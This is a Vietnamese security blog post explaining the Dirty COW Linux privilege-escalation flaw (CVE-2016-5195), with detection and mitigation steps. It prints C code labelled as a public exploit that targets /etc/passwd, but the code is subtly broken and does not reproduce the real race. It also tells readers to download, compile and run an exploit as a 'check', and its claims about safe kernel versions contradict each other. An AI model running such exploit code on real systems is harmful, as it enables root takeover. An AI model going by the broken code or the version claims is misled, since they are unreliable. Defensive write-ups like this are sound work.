Trang chủHướng dẫnCách ngăn chặn tấn công leo thang đặc quyền trên Linux (Dirty COW – CVE-2016-5195)

Cách ngăn chặn tấn công leo thang đặc quyền trên Linux (Dirty COW – CVE-2016-5195)

CyStack blog 4 phút để đọc
CyStack blog14/05/2025
Locker Avatar

Toonie Phạm

Chuyên gia phản ứng sự cố và từng xử lý vi phạm dữ liệu, đối phó với các vụ tấn công mạng lớn. Từ khôi phục hệ thống đến truy vết thủ phạm, tôi mong muốn có thể chia sẻ kinh nghiệm của mình đến độc giả thông qua các bài phân tích chuyên sâu.
Locker logo social
Reading Time: 4 minutes

Một trong những lỗ hổng nguy hiểm nhất mà mình từng xử lý là Dirty COW (CVE-2016-5195), một lỗi trong cơ chế Copy-On-Write (COW) của nhân Linux, cho phép hacker ghi đè lên file hệ thống và chiếm quyền root chỉ trong vài giây. Hôm nay, mình sẽ chia sẻ cách Dirty COW hoạt động, cách phát hiện xem hệ thống của bạn có bị ảnh hưởng không và quan trọng nhất là cách bảo vệ hệ thống Linux trước tấn công leo thang đặc quyền. Nếu bạn đang quản trị một hệ thống Linux hoặc quan tâm đến bảo mật, đừng bỏ lỡ bài viết này.

tấn công leo thang đặc quyền

Leo thang đặc quyền là gì và tại sao nó lại nguy hiểm?

Khi hacker xâm nhập vào một hệ thống, họ thường chỉ có quyền hạn thấp, ví dụ như một user thông thường hoặc một tài khoản dịch vụ. Tuy nhiên, thông qua tấn công leo thang đặc quyền, họ có thể nâng quyền lên root và kiểm soát toàn bộ hệ thống.

Leo thang đặc quyền có 2 dạng chính:

  1. Leo thang đặc quyền ngang: Hacker di chuyển từ tài khoản user này sang tài khoản khác để mở rộng phạm vi tấn công.
  2. Leo thang đặc quyền dọc: Hacker nâng cấp từ user bình thường lên root, chiếm toàn quyền kiểm soát hệ thống.

Một trong những lỗ hổng giúp hacker leo thang đặc quyền Linux hiệu quả nhất chính là Dirty COW (CVE-2016-5195).

Có thể bạn quan tâm: Quy trình xử lý sự cố an toàn thông tin

Hacker chiếm quyền root qua Dirty COW (CVE-2016-5195) thế nào?

1. Cơ chế hoạt động của Dirty COW

Cơ chế Copy-On-Write (COW) trong Linux được thiết kế để tối ưu hóa bộ nhớ:

  • Khi một process muốn ghi vào một tệp, hệ thống sẽ tạo một bản sao thay vì sửa đổi bản gốc.
  • Tuy nhiên, Dirty COW xuất hiện khi hacker gây ra race condition giữa COW và thao tác mmap().
  • Kết quả là hacker có thể ghi đè nội dung của tệp hệ thống, ngay cả khi họ chỉ có quyền đọc (read-only).

Hậu quả của Dirty COW:

  • Hacker có thể sửa đổi /etc/passwd để tạo tài khoản root giả mạo.
  • Có thể chiếm quyền điều khiển hệ thống mà không cần mật khẩu.
  • Ảnh hưởng tất cả các phiên bản Linux từ 2.6.22 đến 4.8.3.

2. Ví dụ thực tế exploit Dirty COW để leo thang đặc quyền

Mình đã thử nghiệm khai thác Dirty COW trên CentOS 7 (kernel 3.10.0-327) trong môi trường lab. Kết quả:

  • Trước khi cập nhật kernel: Exploit chạy thành công, cho phép tạo tài khoản root.
  • Sau khi cập nhật kernel: Exploit thất bại, hệ thống báo lỗi Operation not permitted.

Dưới đây là một mã khai thác Dirty COW đã được công khai:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/mman.h>
#include <unistd.h>

void *madviseThread(void *arg) {
    int i;
    for (i = 0; i < 1000000; i++) {
        madvise(arg, 4096, MADV_DONTNEED);
    }
}

int main(int argc, char *argv[]) {
    int file = open("/etc/passwd", O_RDONLY);
    struct stat st;
    fstat(file, &st);
    void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, file, 0);
    pthread_t thread;
    pthread_create(&thread, NULL, madviseThread, map);
    lseek(file, 0, SEEK_SET);
    write(file, "root:x:0:0:root:/root:/bin/bash\\n", 32);
    return 0;
}

leo thang đặc quyền linux

Cách kiểm tra xem hệ thống có bị ảnh hưởng không?

1. Kiểm tra phiên bản kernel

Nếu kernel của bạn cũ hơn 4.8.4, hệ thống có thể bị tấn công.

uname -r

Danh sách các phiên bản kernel dễ bị tấn công:

  • 2.6.22 → 4.8.3 → Dễ bị khai thác
  • 4.8.4+ → Đã vá lỗi

2. Kiểm tra Dirty COW bằng script

Nếu bạn không chắc chắn hệ thống có bị ảnh hưởng hay không, có thể tải và chạy một script thử nghiệm:

wget <https://dirtycow.ninja/dirtyc0w.c>
gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w

Nếu script này có thể ghi đè tệp hệ thống, có nghĩa là hệ thống chưa được vá.

Làm sao để bảo vệ hệ thống trước Dirty COW?

1. Cập nhật Kernel ngay và luôn

Cách duy nhất để ngăn chặn hoàn toàn Dirty COW là cập nhật kernel lên phiên bản mới nhất.

Cập nhật Kernel trên CentOS 6/7:

sudo yum update kernel -y
sudo reboot

Sau khi cập nhật, kiểm tra lại kernel mới:

uname -r

Nếu hệ thống đang chạy kernel 4.8.4+, bạn đã an toàn trước Dirty COW.

2. Chặn ghi đè các tệp hệ thống quan trọng

Nếu bạn chưa thể cập nhật kernel ngay, hãy hạn chế hacker ghi đè lên các tệp nhạy cảm.

Vô hiệu hóa chỉnh sửa /etc/passwd bằng chattr:

sudo chattr +i /etc/passwd

Bật SELinux để ngăn hacker ghi vào tệp hệ thống:

sudo setenforce 1

3. Giám sát hệ thống để phát hiện tấn công

Dùng Auditd để giám sát các tệp quan trọng như /etc/passwd:

auditctl -w /etc/passwd -p wa -k passwd_changes
auditctl -w /proc/self/mem -p wa -k memory_changes

Xem log Auditd:

ausearch -k passwd_changes

Kết luận

Tấn công leo thang đặc quyền Linux là một mối nguy thực sự mà các quản trị viên không thể coi thường. Dirty COW đã bị khai thác rộng rãi trong quá khứ và vẫn còn ảnh hưởng đến nhiều hệ thống chưa được cập nhật.

Bạn đã dành thời gian đọc hết bài viết này. Vậy cần thực hiện hành động gì ngay?

  • Kiểm tra phiên bản kernel để xem hệ thống có bị ảnh hưởng không.
  • Cập nhật kernel lên bản mới nhất để vá lỗ hổng.
  • Hạn chế quyền ghi lên các tệp quan trọng để giảm thiểu rủi ro.
  • Giám sát hệ thống thường xuyên để phát hiện hành vi bất thường.

Đừng đợi đến khi bị tấn công mới lo sửa lỗi. Kiểm tra hệ thống của bạn ngay hôm nay!

Đọc thêm:

0 Bình luận

Đăng nhập để thảo luận

CyStack blog

Mẹo, tin tức, hướng dẫn và các best practice độc quyền của CyStack

Đăng ký nhận bản tin của chúng tôi

Hãy trở thành người nhận được các nội dung hữu ích của CyStack sớm nhất

Xem chính sách của chúng tôi Chính sách bảo mật.